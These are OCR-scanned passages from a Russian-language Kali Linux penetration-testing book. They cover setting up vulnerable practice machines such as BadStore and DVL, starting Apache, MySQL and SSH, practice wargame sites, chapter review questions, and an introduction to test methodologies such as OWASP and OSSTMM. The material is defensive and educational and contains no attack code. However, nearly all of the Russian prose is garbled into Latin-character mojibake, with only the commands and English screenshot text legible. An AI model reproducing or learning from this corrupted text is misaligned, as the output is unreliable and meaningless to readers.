Rx packets:0 errors:0 dropped:@ overruns:0Q frame:0
TX packets:0 errors:0 dropped:© overruns:0 carrier:©
collisions:0 txgueuelen:®

RX bytes:0 (0.0 iB) TX bytes:0 (0.0 iB)

HeEONE S L # Right crl

Puc. 2.22. KoHdurypaums nHtepdelica eth0
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[Tocsie Toro kak Bbl BBenmere URL ¢ IP-ampecom Bateit BupTyasbHOI MalimHbI
BadStore, nasxmure kiasuiny Enter. B okHe 6paysepa Bbl yBuauTe untepdeiic BadStore
(puc. 2.23).

BADSTQRE.NET

SUPFLIERS ONLY

REFERENCE

BadStore v2.1.2 - Copyright © 2003-2006

Puc. 2.23. NHTepdeiic BupTyanbHOM MalwmHbl BadStore

Kak ysxe ynomunasiocs, BadStore ycrapesa. 910 BUIHO JaKe 110 AU3allHY UHTEP-
deiica. Omnako st HaunHaonwx BadStore ouenb mosiesma, Tak Kak COAEPKUT MHOTO
PacIpoCTpaHEHHBIX YSI3BUMOCTEH, KOTOPbIE MOKHO JIETKO OOHAPY/KUTH U YCTPAHUTh
¢ nomoripio nacrpymentos Kali Linux. TToapo6hee 06 9ToM BbI IpoyrTaeTe B CJae/y-
IONIMX IJIaBaX.

EcTb ellle oaHa oYeHb NpoCTasl B HACTPOWKE M MCMOSIb30BaHMM OnepaLmoH-
Hasl cMcTeMa, KOTOPYH MOXKHO YCTaHOBWUTb Ha BUPTYaslbHYHO MaLUMHY, — 3TO
OYeHb ysI3BMMas ornepaumoHHas cUcTeMa, coxpaHeHHasi B ISO-o06pa3 Linux
(DVL). Ero moxHo 3arpy3uTb no agpecy https://sourceforge.net/projects/
virtualhacking/files/os/dvl/DVL_1.5_Infectious_Disease.iso/download.
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YCcTaHoBKa AOMOSTHUTENbHbIX
NMHCTpPYMeHTOB B Kali Linux

Jlo min BO BpeMst TecTa Ha TIPOHUKHOBEHUE MOKET MOTPEOOBATHCS BKIIOUUTH HHCTPY-
MEHTBI, KOTOpble npu 00biuHOil yeraHoBke B Kali Linux swemocryntel. Ectb Gosbinoe
KOJIMYECTBO CIIEIUATMCTOB 110 TECTUPOBAHUIO HA TPOHUKHOBEHNE, KOTOPBIE ITOCTOSH-
HO CO3/IaI0T HOBbIE MHCTPYMEHTBI. DTU UHCTPYMEHTBI CTAHOBATCS JIOCTYIIHBIMH, U BB
UX TOXKE MOYKETE UCII0JIb30BaTh. TOIBKO MOTPeOYETCST yCTAHOBKA ATUX MPUIOKEHUI
B otneparornoii cucreme Kali Linux. IToaToMy 1iepest HauaioM TeCTHPOBAHUS HA TIPO-
HUKHOBEHUE CJIe/lyeT YOeIUThCsI, UTO BAIIA HHCTPYMEHTHI OOHOBJICHBL.

[Ipu BKITIOUEHUN IOTOTHUTEILHBIX MTHCTPYMEHTOB TECTUPOBAHUS HA TPOHUKHOBEHME
CHavajia peKoOMeHyeTcst 3aryisinyTh B pertosuropuii Kali Linux. Eciin HyKHBIN TTakeT
B PEMO3UTOPUH JIOCTYIIEH, €T0 MOXKHO YCTAHOBHUTH € TIOMOIIBIO KOMAaH/I, O KOTOPBIX MBI
pacckaxeM nasee. Ecii ke MHCTPYMEHT B PETIO3UTOPUHN OTCYTCTBYET, €TO MOKHO 3arpy-
3UTD WJIN C CaliTa CO3/IATEJIsI, NI € caliTa COBMECTHOTO MCITOJIb30BAHUS TIPOTPAMMHOTO
obecrieyeHus u arperupoBaHu: https://github.com.

OpnHako ecTb psijl UHCTPYMEHTOB, OTCYTCTBYIOIIUX B PEIIO3UTOPUM, HO KOTOPbIE
JIETKO MOKHO 100aBuTh B nHcTpyMenTapuii Kali Linux. B GosbInuHcTBe cydyaes Ta-
KUe TakeThl J06aBISTh He PEKOMEH/IYeTCs, TaK KaK OHM MOTYT HEraTHBHO TTOBJIUATH
Ha paboTy ornepanuoHHON cucTeMbl. KpoMe TOTO, MHOTHE TaKue TTaKeThl 3aBUCAT OT
JIPYTOTO MPOrPaMMHOTO 0GECTIEUEHUs U MOTYT BBI3BIBATH MTPOGJIEMBI CO CTAGUIBLHOCTHIO
CUCTEMBI.

B omneparonnoii cucreme Kali Linux mpegycMOTpeHO HECKOJIBKO HHCTPYMEHTOB
1uist yripasiernst nakeramir: dpkg, apt u aptitude. TTepssie aa B Kali Linux ycraHOoBJICHBI
10 YMOJTYAHUIO.

O koMaHpax apt 1 dpkg Bbl MOXeTe y3HaTb 60/blUe, Nepeias no creayoLmnM
ccoinkaM: https://help.ubuntu.com/community/AptGet/Howto/ u http://
www.debian.org/doc/manuals/debian-reference/ch02.en.html.

B aTom paszejie Mbl KpaTKO PaCCMOTPUM KOMaHIYy apt, yCTaHOBUB ITaKeT C IIPO-
TpaMMHbBIM obecIie4eHreM.

[[JIH ITOMCKa B PEIIO3UTOPUN Ha3dBaHMA HYKHOI'O ITaKETa I/ICHOJIBSYI;,ITE CJIEeIy IOy IO
KOMaHy:

apt-cache search <uma_nakema>

Irta KoMaH/a 0TOOPA3UT BECh MAKET MPOTPAMMHOTO 00ECTICUEHMS ¢ MMEHEM UMA_
nakema.

Ecyi BbI XOTHTE HOJIyYUTh GoJiee OAPOOHYI0 HH(MOPMAIIUIO O HAlJIEHHOM aKeTe,
BBE/INTE CJIEYIONTYI0 KOMAH/TY:

apt-cache show <uma_nakema>
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Yro6bI YCTAaHOBUTDH HOBBIN TIAKET UJIN 0OHOBUTD yIKe CyIIeCcTBYIOIUH, BBEIUTE
KOMaH/y apt-get:

apt-get install <uma_nakema>

Ecim naker B peno3utopuu HeOCTyTIEH, €T0 MOKHO HATH U 3aTPY3UTH C caifTa pas-
paboTYMKa 3TOrO IPOrPAMMHOIO obecedeH s 1 yepes www.github.com. ITporpammuoe
obecriederre HEOOXOAMMO 3arPysKaTh TOJBKO U3 HAJIeKHBIX HCTOUHUKOB. Eciu Tpeby-
ercst popmar makera Debian (maker Oyzer uMersb pacuupenue ¢aiiia .deb), cienyer
HCIIOTh30BaTh KOMaHIy dpkg. MHOTHE TaKeThl CoKaThI € TOMOIIBIO TAKUX ITPOTPAMM, Kak
7-Zip. O TOM, UTO MAKeT CXKaT, TOBOPUT PACIIUPEHUE . zip Ui .tar.

CeTteBble cepBuchl B Kali Linux

B Kali Linux 10CTyIIHO HECKOJIBKO CETEBbIX CEPBICOB. B 9TOM paselie Mbl pacCKaskeM
o tpex: HTTP, MySQL u SSH. Ocrasbrbie HaxozsTcst B Kali Linux » System Services.

HTTP

[Tpu TecTUpPOBAHUY HA TPOHUKHOBEHUE HAM, HATIPUMED, JIJIsT 00CIYKUBAHISI BPEIOHOC-
HBIX ClleHapueB BeO-npuiokenuii morpebyercst BeO-cepsep. B Kali Linux mo ymosrua-
HUIO yIKe YCTaHOBJIEH geb-cepsep Apache. Ham ocTaoch ero TOMbKO 3amyCTHTD.

Jasiee nepeurciienbl marn, Heobxoaumbie s 3amycka B Kali Linux HTTP-cepsepa.

1. lng sanycka cepsuca Apache HTTP orkpoiiTe TepMUHAI ¢ KOMAHAHON CTPOKOI
U BBEJIUTE CJIE/IYIOTIYI0 KOMaH/LY:
service apache2 start

2. 3amycture Gpaysep, BBeAUTe B aAPeCHYIO CTPOKy Opaysepa IP-agpec 127.0.0.1

u HakmuTe Kiasuiny Enter. Ecoiu cepsuc Apache HTTP saryiieH, B BepXHell yacTu
OTKPBITOI CTPaHUIIbI BbI yBUAUTE cooduieHue It works! (puc. 2.24).

s ocranosku Apache HTTP BbinosiHuTE CJleAyIONIKe IeHCTBUSL.

1. OTkpoliTe TepMUHAI C KOMAH/{HOM CTPOKOH M BBEIUTE CJIE/LyIOTTYI0 KOMAH/TY:

service apache2 stop

MOMHWTE, YTO MOC/e 3arpy3ku OnepaLMoHHOM CUCTEMbI HY>KHO MOBTOPUTb
BBOA KOMaHzbl service apache2 start. Ho npouecc 3anycka cepBUCOB Mbl
MOXXEM aBTOMaTU3UpoBaThb. Y106kl Nocne 3arpy3ku Kali Linux cepeuc Apache
HTTP 3anycTuncs aBToMaTUYeCKM, UCNosb3yiTe koMaHay update-rc.d apache2
defaults.

2. JTobaBbTe KOMaH/Y JJIs aBTOMAaTHUECKOTO 3aMyCKa cepBrca apache2 1ocie Kasmaoi
3arpy3Ku OMepParimOHHON CUCTEMBI.
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Apache2 Debian Default Page: It works - Mozilla Firefox 00
Apache2 Debian Default Pac % | D Firefox Privacy Motice - X | -+

N
(€)> ¢ @ (® 127.001 w9 1 n o
£2 Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @ Exploit-DB Wy Aircrack-ng @ Kali Forums @ NetHunter @ Kali Training 2

@ Apache2 Deblan Default Page

This iz the default welcome page used ta tes sration of the Apache? server after
installation on Debian systems. If you can read this page, it means that the aApache HTTP server
installed at this site is working properly. You should replace this file (located at fvar /www
Shtmlfindex.html} before continuing to ocperate your HTTP server.

If you are a normal user of this web site and don't know what this page Is about, this probably means
that the site Is currently due to If the p persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache? default config ian is difterent fram the default configuration, and split into
several files aptimized far interaction with Debian tools. The confiquration system is fully documented
in jusr docjapach bi. gz. Refer to this for the full documentation.

Documentation for the web server itself can be found by accessing the manual if the apache?-doc
package was installed on this server.

The configuration layout for an ApacheZ web server installation on Debian systems is as follows:

felcfapache2f
-« apache?. conf

" ports.conl
-~ mods-enabled

|-- *.l0ad

fe- ®_conf
-- conf-enabled

“e- ®_conf |
-- sites-enabled k

-- r.conf |

|
|
I[
|
|
|
|
|

s anache? cont s the main eonfinoeation file ook the nieees tnonether by includinn all eemaininn

Puc. 2.24. Cepsuc Apache HTTP 3anyuieH

MySQL

Bropoii cepBuc, 0 KOTOPOM MbI TToroBopum, — MySQL. Jto pensiiinonHast cucrema 6a3
nanubix. MySQL variie Bcero ucroib3yeTcst COBMECTHO C sI3BIKOM TIPOrPAMMUPOBAHUS
PHP u Beb-cepsepoM Apache juid cozpanus quHaMudeckux BeO-IPUI0KeHUN. DTOT
CEPBUC MOKHO TIPUMEHSITh 1 JIJist cOOpa Pe3yIbTaTOB TECTUPOBAHUS, HAITPUMED [IJIsT
xpaneHvst ua(opMarn 06 y3BUMOCTH U Pe3yJIbTaTa COMOCTABICHUS CETH.

Yro6sl B Kali Linux sanycrurs cepsric MySQL, BbINOJHKUTE CIEAYIONINE AHCTBHU.

Q 1. DBsexnure B OKHe TePMUHAJIA TAKyI0 KOMAHJTY:
service mysql start
2. Yro6sr mpoBepuTh, 3amyiieH ju Bait MySQL, ucnosbayiite ket MySQL st

nojKIoYenus K cepsepy. IIpu 3amycke KianeHTa Mbl CUMTAEM, YTO [JIs BXOJA HA
cepsep MySQL GblIn yKasaHbl MMsI II0JIb30BaTe st ¥ APOJIb root:

mysql -u root
B oTBet cucrtema BwIJIaCT cieyioniee coobuenue:

Enter password:
Welcome to the MySQL monitor. Commands end with ; or g.
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Your MySQL connection id is 39

Server version: 5.5.44-1 (Debian)

Copyright (c) 2000, 2015, Oracle and/or its affiliates.

All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or
itsaffiliates. Other names may be trademarks of their respective owners.
Type '‘'help;'' or ''h'' for help. Type ''c'' to clear the current input
statement.

mysql>

3. Tocae storo npurianieduss MySQL MoKHO IpesocTaBuTh JioObie KoManabl SQL.
Yrobor Beriiti 13 MySQL, BBeinTe KOMaHIy quit.

Mo yMon4aHmio ucxoas U3 coobpadkeHuin besonacHoctu B Kali Linux goctyn
K cepBurcy MySQL MOXXHO NOSyuYMTb TONBKO C SIOKa/IbHOrO KOMMbloTepa. YTo-
6bl 3Ty KOHDUIYypaLUMIO U3MEHWUTL, OTPeaaKTUpYNTe B daline koHdurypaumum
MySQL pasgen bind-address, koTopbli1 HaxoauTca B kaTanore /etc/mysql/
my.cnf. Mbl He peKOMeHAYeM M3MEHSATb AaHHYI KOH(Urypaumio, ecim Bl
He xoTuTte, 4tobbl Baw MySQL 6bin gocTyneH anst Apyrux.

[lnst octarnoBku cepBuca MySQL BbITIOTHUTE CJIeIyTOTITHE TeHCTBIS.
1. BBenuTe B OKHO TepMUHAIA KOMAH/LY:
service mysql stop

2. st aBromarnueckoro samycka MySQL mociie sarpysku Kali Linux BBeauTe Takyio
KOMAaH/Y:

update-rc.d mysql defaults

Irta KoMaH/a 3actaBut cepruc MySQL 3anycTutbed rnocsie 3arpy3Ku.

SSH

Ciienyroruii cepBuc, KOTOPbIit MbI paccMoTpum, — Secure Shell (SSH). SSH moxer uc-
OJTb30BaThCSI JIJIst GE30ITACHOT0 BXO/[A Ha YIaleHHY 0 MaliHy. KpoMe Toro, cyIecTByer
HECKOJIbKO Apyrux npuMeHenuii SSH, HanpuMep Takux, Kak 6e3omnacHas repeaada
(haiima Mexy MarmmHaMU, BBITIOJIHEHUE KOMAH/[ Ha YIAJI€HHOW MalTuHe W TIepechlIKa
ceanca X11.

s ynpasienus B Kali Linux cepsucom SSH BbIIOJIHUTE CIEAYIONINE IEHCTBUSL.

1. Yr06s1 3anycturh SSHD, BBeAMTE B TEPMHUHAJIE TAKYIO KOMAH/LY:

service ssh start

2. na recruposanusa SSH mosxno Boiiti Ha cepsep Kali Linux ¢ gpyroro cepsepa ¢ mo-
Mmoo SSH-kimenrta. Eciin Bbl ncnosibayere onepanuonnyio cucremy Windows,
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3azierictByiite, Hanpumep, SSH-kauent Putty (http://www.chiark.greenend.org.uk/
~sgtatham/putty/).
3. Jlng ocranoBku SSHD BBe/uTe Takyto KOMaHy:

service ssh stop

4. Yrobsr mocie 3arpyskn Kali Linux samyctuts SSH aBTOMaTHYECKH, BBEUTE CTETY-
IOy 0 KOMaHy:

update-rc.d ssh defaults

Irta Komana 3actaBuT SSH 3amycTuTBHCS TTOCTE 3aTPy3KH.

[lononHuTenbHble Nabopatopun
N pecypcsbl

HecmoTpst Ha TO uTo ocHOBHOE BHUMaHKe Mbl yaeanan Windows 10, Metasploitable 2
u Metasploitable 3, cymiecTByer elie HECKOIBKO IIPOEKTOB /IS U3YYEHUST YA3BUMOCTEI
U TPEHMPOBKM BalllMX HaBBIKOB. OIBITHBIE 9KCIEPTHI 110 GE30IaCHOCTH U TECTEPHI Ha
NPOHUKHOBEHUE IIOMHAT MaJIeHbKUI U OYeHb YSI3BUMBIH BeO-cepBep 110/ Ha3BaHHeM
BadStore. Ero pasmep ne npessimaer 15 Moéaiit (ga, Merabaiit), 1 OH COAEPHKUT He-
CKOJIbKO YSI3BUMOCTEN OT MeKCAUTOBBIX cilenapuen jio Buenpenust SQL. Xors miist
HPSAMOI 3arpysKu ¢ 0(UIMAILHOIO caiita oH OOJIblle He H0CTyIeH, B MIHTepHere ero
BCe ellle MOKHO HalTH.

Ha ocHoBHYT0 HanpaB/IeHHOCTH 3TOTO caiiTa yKa3bIBaeT MM €ro joMeHa: https://
www.vulnhub.com/ — TIEHTp /7151 TPOEKTOB ySI3BUMOCTEN.

HeckosbKo yA3BUMBIX BUPTYaJbHBIX MAIlIWH BBl HalijleTe HA CTPAHUIIE 3aTPY3KU.
ITO Takue MaImmuHbl, Kak Linux, Kioptrix u T. /., KOTOpbIe MOXHO MCTIOTH30BaTh JJIST
nepexsara raros (CTF) u ciienapues.

CytecTByeT HECKOJIBKO CANTOB, MPeHA3HAYEHHBIX JIJIST T€X, KTO 3aMHTEPECOBAH
B OTTQUMBAHUU CBOUX IIPAKTUYECKUX HABBIKOB WM O0YYEHMH B 3aMKHYTOI cpeje.

Q Wargames. bectinatabie BapreiiMbl, paciooKeHHbIe 110 afipecy http://overthewire.org/
wargames/, IMeIOT Kak 6a30Bble YPOBHH, TaK U YPOBHU MOBBIIIEHHON CJIOKHOCTH

(puc. 2.25).

Q Hack This Site. Anpec sToro caiita: https://Hackthissite.org. 3ech Takske coOpaHO MHOIO
ysI3BUMOcCTel (HUKHSIS JieBast ctopona). CaiiT npejjiaraeT MUCCUU Kak JIJIsi HAauMHa-
IOIUX TECTEPOB, TaK W [ IPOrPAMMHUCTOB. DTU YSI3BUMOCTU OECTIATHBI, HO JIJIst
BXO/Ia Ha caliT Tpebyercst peructparnust (puc. 2.26).

Q Hellbound Hackers. Kax u Hack This Site, caitt Hellbound Hackers (https://www.hell-
boundhackers.org/) npe/siaraeT MHOTOYMCIEHHBIE YS3BUMOCTH, B TOM YHCJE U I

3a/1a4 TECTUPOBAHUS HAa TIPOHUKHOBeHNUE. [[JIs1 ToCTyIa K pecypcaM, cCOOpaHHbIM Ha
9TOM caiiTe, Takke Tpebyercs perucrpanus (puc. 2.27).
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Online

Bandit
MNatas
Leviathan
Krypton
Marnia
Behernoth
Uturmno
Maze
Wortex
Semtex
Manpage
Drifter

Released

epeuc  Cnpaska

OverTheWire
{Donatc! f Fielpr? ]

The wargames offered by the OverTheWire community can help you to learn and
practice security concepts in the form of fun-filled games.

To find out more about a certain wargame, just visit its page linked from the
rmenu on the leit.

Wargames

It you have a problem, a question or a suggestion, you can join us on IRC.

Suggested order to play the games in

. Bandit

. Leviathan or Matas or Krypton
. Marnia

. Behemaoth

. Utumno

Maze

N A wN—
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Puc. 2.25. Wargames
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Puc. 2.26. CaiiT Hackthissite.org
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Weltnme to Helllound Hackers
Walcoma to HellBound Hackers. The hands-on approach to computer security.

Learn how hackers break in, and how to keep them out.
Planse reglster to benefit from extra features and our simulated securlty challangas.
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Puc. 2.27. Caiit Hellbound Hackers

Pe3ome

B 970ii ri1aBe Mbl paccMOTpeNn codganue 1adopaToOpHON Cpebl s TECTUPOBAHUS Ha
MPOHUKHOBEHHUE. B TlaBe roBOPUJIOCH, 4TO JTabOpaTOpHas YCTAHOBKA OYy/IEeT 3aBUCETh
WCKJIOYUTETHHO OT JIOCTYITHBIX pecypcos, Taknx kak L[II, O3V u mecto Ha kecTKOM
micke. JIJis moJrydeHust onbita paboThl B KOHTPOJUPYEMOU cpejie, MO3BOJIAIONIei Jie-
TaJIbHO BBITIOJIHATH TECTUPOBAHNE, BBl MOJKETE MTO9KCITEPUMEHTHPOBATD C TAKUMU OTIe-
panuoHHbIMU crcTeMamu, Kak Windows, Linux, Mac, Android u gaske ARM (zocryiHa
Ha https://www.vulnhub.com/).

ITpu pabote ¢ cepsepom Metasploitable MbI HacTOATEIBHO pEKOMEHIYEM He TOIBKO
HOBUYKAM, HO U POheCCHOHATIaM, BPEMS Y KOTOPBIX OTPAHUYEHO, UCIIOIb30BATH BMECTO
CJIOKHOTO B ycTaHOBKe 1 HacTpoiike Metasploitable 3 cepsep Metasploitable 2.

ITosb30BaTe/N € OrpaHUYEHHBIMU PECYPCAMK MOTYT Pab0oTaTh ¢ TAKUMU YSI3BUMbBIMU
cepsepamu, Kak BadStore u DVL. 9tu cepBepbl UMEIOT MaJIeHbKIE PasMepPbl U COXPa-
HeHbl B opmate [SO, 1059TOMY OUEHD JIETKO YCTAHABIUBAIOTCSL.
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B nmaboparopuu Mbl pEKOMEH/IyeM YCTAHOBHUTH XOTsI GBI OHY OTEPAIIMOHHYIO CUCTE-
My Windows u oxny cucremy Linux. B cieyionux riaBax Mbl paCCMOTPHUM pa3jinyHble
METO/IbI, TO3BOJISIONINE BbITIOIHSATD TECTHI HA TPOHIUKHOBEHUE.

Bonpocel

1. Kaxkwe nuratopmbl BUPTyaTM3aIiii MbI MOKEM HCIIOJIb30BATH JIJIST CO3/IAaHUS BUPTY-
AJIbHBIX MAIH?

2. Jlns gero npepHasHaueH (aiii ¢ pacuimpenueM .vmdk?
Kaxkue sorvt u napoJib MCHOJIb3YIOTCS 110 yMOJIUaHuIo 1151 Bxoga B Metasploitable 27

4. Kakoe J0MOJHUTENLHOE TPOrPaMMHOE obectieueHure motpedyeTcst st COOpKu cep-
Bepa Metasploitable 3 ¢ myJa?

5. Kakast komana uctiosbayercst B Kali Linux /it yctaHOBKY HOBOTO MJTH OGHOBJIEHUST
CYIIIECTBYIOIIETO MaKeTa?

6. Kakas xomanmga npumenseTcs s 3amycka ceppuca MySQL?

7. Kakag xomaHia ucrosb3yercst jijis 3amycka ceppuca SSH?

[lononiHUTeNnbHbIE MaTepuansl

O VYcranoska Metasploitable 2: https://metasploit.help.rapid7.com/docs/metasploitable-2.
O Co6opka Metasploitable 3: https://github.com/rapid7/metasploitable3.



MeToaonorma TeCTMpoBaHus
Ha NMPOHUKHOBEHME

OpHuM U3 BaskHENHUX (haKTOPOB, BAMSAIONIMX HA YCIEITHOCTD ITPOBEJICHUS TeCcTa Ha
IIPOHUKHOBEHUE, ABJISETCS CTAHIAPTHAS METOOJIOTHS ucnbiTanug. OTCyTCTBUE CTaH-
JIAPTHBIX METO/IMK MPOBE/IEHNS TeCcTa Ha IPOHUKHOBEHME 03HAUYaeT OTCYTCTBUE OJ[HO-
TUITHOCTH. MBI YBEPEHBI, BbI HE XOTUTE GbITh UCTIBITATE/IEM, TIPOBOISAIINM OECCHCTEMHBII
TecT, TPUMEHSIST TO OJIH, TO JIPYTOIl MHCTPYMEHT 1 He UMesI TIPEZICTABJIEHHUs O TOM, KaKne
pe3yJIbTaThbl 9TOT TECT JL0JIKEH IPUHECTH.

Metosiomorust — 310 HabOP CTAHAAPTHBIX MPABUJI, TPAKTUYCCKHUX JACHCTBUN U TPO-
Heayp, KOTOPBIE Peau3yIoTCs Ipyu paboTe ¢ M060ii MporpaMMoi, IpeaHasHaue ol
ISt TPOBEPKU MHGOPMAITHOHHOH 6e30macHoCT. B METOM0IOTHY TECTHPOBAHHUS HA
IIPOHMKHOBEHUE B IIePBYI0 o4Yepe/lb ollpejeisgeTcs IIal IpoBejeHus tecta. B aTom
TJIaHe TIPelycMaTPUBAIOTCS He TOJTbKO IeTN TTPOBe/IeHNs UCTIBITAaHNH, HO U IefCTBIS,
KOTOPBIE JIOJIKHBI GBITH BBITIOJHEHBI JIJISI OIEHKH HCTHHHOTO COCTOSTHUS G€30MacHOCTH
CeTH, TIPUJIOKEHUH, CUCTEMbBI UJTH JII0O0N NX KOMOUHAIHH.

Ucrnbitatess 00si3aH 061a1aTh MPAKTHUECKUMI HABBIKAMU [TPOBEICHUST HCIIBITAHIH,
OH /10/K€eH BIaIeTh HHCTPYMEHTAMH, C IOMOIIBIO KOTOPBIX IIPOBOANTCS TecT. TOIBKO
YETKO Olpejie;IeHHass MEeTO/INKA TTPOBe/IEHNST MCIIBITAaHU Ha TTIPOHUKHOBEHNE, Teope-
TUYecKWe 3HAHWS W MPAKTHYeCKNe HABBIKU MCIIBITATENST TIO3BOJISAT TTPOBECTU TTOJTHBIN
1 JIOCTOBEPHBIN TecT Ha IIpoHukHOBeHue. Ho B TO ke BpeMsl MeTO/10J10r1s He JI0JIKHA
[IPEISATCTBOBATD MCIIBITATEIIO AaHATU3UPOBATH CBOU JIOTAJIKU.

TexHun4eckune ycnosums

B 970ii T1aBe 171 paboTHI BaM TIOHAMOOSTCS YCTAHOBIEHHAS PAHee OMePAITOHHA CH-
crema Kali Linux u npusioskerre Nmap.

MeToaonorus TECTUPOBAHUA HA NMPOHNUKHOBEHUE

Y0681 OIIPECJINTD, KaKO¥ TeCT BaM ceifuac HYXHO 6yz[eT IIPpOBECTH, H606XOZ[I/IMO 3HaTb,
KaKne TeCTbl CyHIECTBYIOT, B KaKUX obJacTax u JIJI KaKUX He]IefI OHU ITPUMEHAIOTCA.
Bce TtecTbr MmoxxHO Pa3ieJINTb Ha TPU TPYIITIDIL.

O Mero/pl «6€I0ro siuKas» . B 9T0ii TpyIiie TeCTOB UCIBITATEb XOPOIIIO 3HAET MPO-
BepsieMyIo CUCTEMY M MMeeT IIOJIHBII OCTYII KO BceM ee KoMmiionenTaMm. Vcibitaresnu
paboTaloT ¢ KIMEHTOM W UMEIOT JOCTYTI K 3aKPHITON HHMOPMAIIN, CepBepaMm, 3aIry-
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HIEHHOMY IIPOrPaMMHOMY 0GECIIEYEHIIO, CETEBBIM CXEMaM, 8 MHOTJIA [1aKe K YUETHBIM
JAHHBIM. DTOT THII UCIIBITAHUI OOBIYHO TPOBOAUTCS /ISl HPOBEPKU HOBBIX HPU-
JIOKEHUI TIepe/l UX BBOJIOM B KCILIyaTalluIo, a TaKKe JIJIs PEryJIsIPHOI TPOBEPKU
CHCTEMBI B paMKaXx ee JKM3HEeHHOTO 1uKIa — Systems Development Life Cycle (SDLC).
TaKI/Ie MEPOMPUATHUA TTO3BOJIAIOT BBIABUTD N yCTpaHI/ITb YA3BUMOCTH paHbIIe, 9YeM
OHM MOTYT TIONACTh B CUCTEMY M HABPEJUTD €ii.

MeTO}IbI <«YEPHOTO sAlUKa». Ita rpyImiIia TECTOB IIPUMCHNMaA, KOT/[a UCIIBITATEJIIO
HUYEro He U3BeCTHO 00 I/ICHBITyeMOfI cucteMe. ITOT TUTI TECTUPOBaHUA B HanboJIb-
1Iei cTerneHu MoxXoK Ha HaCTOAIIME aTaKU 3JIOYMbINIJIEHHUKA. WcnbiTaTensb JLOJIZKEH
IOJIYYUTDb BCIO I/IH(I)OpMaHI/IIO, TBOPYECKU ITPUMEHAA UMEIOIINECS Y HETO B PaCIIOPA-
JKEHUN METO/Ibl 1 THCTPYMEHTDI, HO HE BbIXO/A 3a PaMKM 3aKJIOYEHHOTI'O C KJIMEH-
ToM coryamenus. Ho u ator MCTO/l UMEET CBON HEIOCTATKU: XOTS OH U UMUTUDPYET
peasibHYIO aTaKy Ha CUCTEMY WJIN IPUJIOKEHN A, UCIIbITATEJIb, NCIIOJ/Ib3YyS TOJIBKO
€TI0, MOJKET IPOITYCTUTb HEKOTOPBIC YA3BUMOCTH. ITO OUeHb I[OpOl'OfI TECT, TaK KaK
3aHMMaeT OOJIBbINOE KOJUIECTBO BpEeMEHM. Bomonnas €10, UCIIbITATEJIb U3YUYUT BCE
BO3MOJKHDBIE€ HaIIpaBJE€HUA aTaKHW 1 TOJBKO ITOCJIE 3TOI'O COO6I_III/IT O pe3yJibTaTax.
KpOMe TOTO, 4TOOBI HE TIOBPEAUTD TIPOBEPAEMYIO CUCTEMY 1 HE BbI3BaTb C60ﬁ, nc-
IIbITaTEJb JOJIKEH OBITH OUYEHb OCTOPOYKHDBIM.

MeTO}IbI «Ceporo sgmuKa». Tect YUUTBIBACT BCE IPpENMYIIIECTBAa U HEJOCTATKN
IIEPBBIX IBYX TECTOB. B stom CJIydae MCIIbITATE/IIO JOCTYIIHA TOJIbKO OTPpaHNYEeHHAsA
I/IH(I)OPM&HI/IH, ITO3BOJIAIOITAs IMTPOBECTU BHEIIHIOKO aTaKy Ha CUCTEMY. Wcnbitanus
OOBIYHO BBITTOJIHAIOTCA B OTpaHNYECHHOM O6’beM€, KOrjJia UCIIbITaTE/Ib HEMHOI'O 3HAET
O CHUCTEME.

Jliist obeciieueHnst HAUTYYIINX PE3YAbTATOB TECTUPOBAHUS, HE3ABUCUMO OT TIPH-

MEHSIEMBIX TECTOB Ha MPOHUKHOBEHNE, CIIBITATEND TOJIKEH COOMIOIAaTh METOLO0JIOIMIO
npoBezeHus ucnbiranuii. JJanee Ml 6oJiee mogpoOHO 0OCyANM HEKOTOPbie HanboJiee
HOILYJISIPHBIE CTAHAAPTHDIE METO/bI IPOBEEHMS UCIIbITAHMIA.

a

0O 00O

PykoBozcTo 110 TectupoBanio OWASP.

PyxoBoncTBo o TectupoBannio Ha mpoHnkHoBeHNe PCI.
Crangapr BbIIIOJIHEHUS TECTUPOBAHMS Ha IPOHUKHOBEHUE.
NIST 800-115.

PyKOBOZCTBO 110 METOIOJIOTUH TECTUPOBAHMUST O€30MACHOCTHU C OTKPBITHIM UCXOIHBIM
kojiom (OSSTMM).

PykoBoacTeo no tectuposaHnio OWASP

Open Web Application Security Project (OWASP) — aToT IpoeKT 00beIUHNI Pa3padoT-
YUKOB IIPOTPAMMHBIX CPEJICTB € OTKPBITBIM UCXOIHBIM KO/I0M. JI10/11, BXOZIATINE B /IaH-
HOE COO0IIECTRO, CO3/IAIOT POTPAMMBI JIJIST 3aIUTE BeG-TMPUIOKEHNUHT 1 Beh-CepBUCOB.
Bce pUIIOKeHNsT CO3/IAI0TCS ¢ YUETOM OITbITa OOPHOBI ¢ IPOrPpAMMaMU, HAHOCSIITUMU
Bpeil BeO-cepsricam 1 BeO-mipuiioskersiv. OWASP — a1o oTiipaBHasi TOUKa JIJIsSE CUCTEM-
HBIX APXUTEKTOPOB, Pa3paboTYMKOB, MOCTABIINKOB, IOTPEGUTEIEH 1 CIICIIUATICTOB 110
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6e30MaCHOCTH, TO €CTh BCEX CIMENUATICTOB, KOTOPbIE IPHHUMAIOT YYACTHE B TIPOCKTH-
poBaHuH, pa3paboTKe, PasBEPTHIBAHNHI U IIPOBEPKe Ha He30MacHOCTb BCeX BeO-CEPBUCOB
u BeG-tpunioskenuit. JIpyrumu cirosamu, OWASP cTpeMuTCst HOMOUB CO3/1aBaTh OoJiee
GesonacHble BEG-IPUIIOKEHNS U BeO-CcepBUCHL. [TIaBHBIM TIPEUMYIIIECTBOM PYKOBO/ICTBA
nio tectupoBanuio OW ASP gBiisiercs To, 4TO 10 MpeICTaBIeHHBIM Pe3yabTaTaM TECTOB
MO>KHO TIOJIYYUTh BCECTOPOHHEE OTIMCAHNE BCEX YyIPo3. PYKOBOJICTBO 1O TECTUPOBAHUIO
OWASP ornpeziesisier Bce OIIacCHOCTH, KOTOPbIE MOTYT IIOBJIMATDH Ha pabOTy KaK CUCTEMBI,
TaK U NPUJIOKEHU, 1 OLEHUBAET BEPOSITHOCTH UX 10siBIeHUsT. C IIOMOII[BIO OIIMCAHHBIX
B OWASP yrpos MOKHO OIIpeeJuTh 00LIYIO OLEHKY BBISIBJEHHBIX [IPOBEACHHBIM Te-
CTUPOBAHUEM PUCKOB U BHIPAOOTATh COOTBETCTBYIOIINE PEKOMEH/IAIINH [0 YCTPAHEHNIO
HE/IOCTATKOB.

